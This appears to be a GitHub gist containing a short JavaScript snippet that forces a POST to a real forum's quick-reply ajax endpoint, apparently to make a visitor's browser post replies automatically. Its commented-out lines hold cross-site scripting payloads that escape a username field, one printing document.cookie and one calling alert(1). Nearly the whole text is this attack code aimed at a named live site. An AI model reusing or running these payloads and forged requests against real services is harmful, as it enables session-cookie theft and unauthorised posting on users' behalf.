Skip to content

Instantly share code, notes, and snippets.

@x2c3z4
Created January 3, 2014 07:27
Show Gist options
  • Save x2c3z4/8234221 to your computer and use it in GitHub Desktop.
Save x2c3z4/8234221 to your computer and use it in GitHub Desktop.
var postUrl="http://buaabt.cn/tools/ajax.aspx?topicid=319105&postid=0&postreplynotice=true&t=quickreply";
var httpRequest=new XMLHttpRequest();
httpRequest.open('POST',postUrl, false);
httpRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
//httpRequest.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
//data ="username=\");console.log(document.cookie);//&email=&question=0&answer=&login=";
//data ="username=\");alert(1);//&email=&question=0&answer=&login=";
var text="ccc";
data="title=&postlayer=-1&postid=0&usesig=1&postreplynotice=on&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&message=" + text + "&replysubmit=";
httpRequest.send(data);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment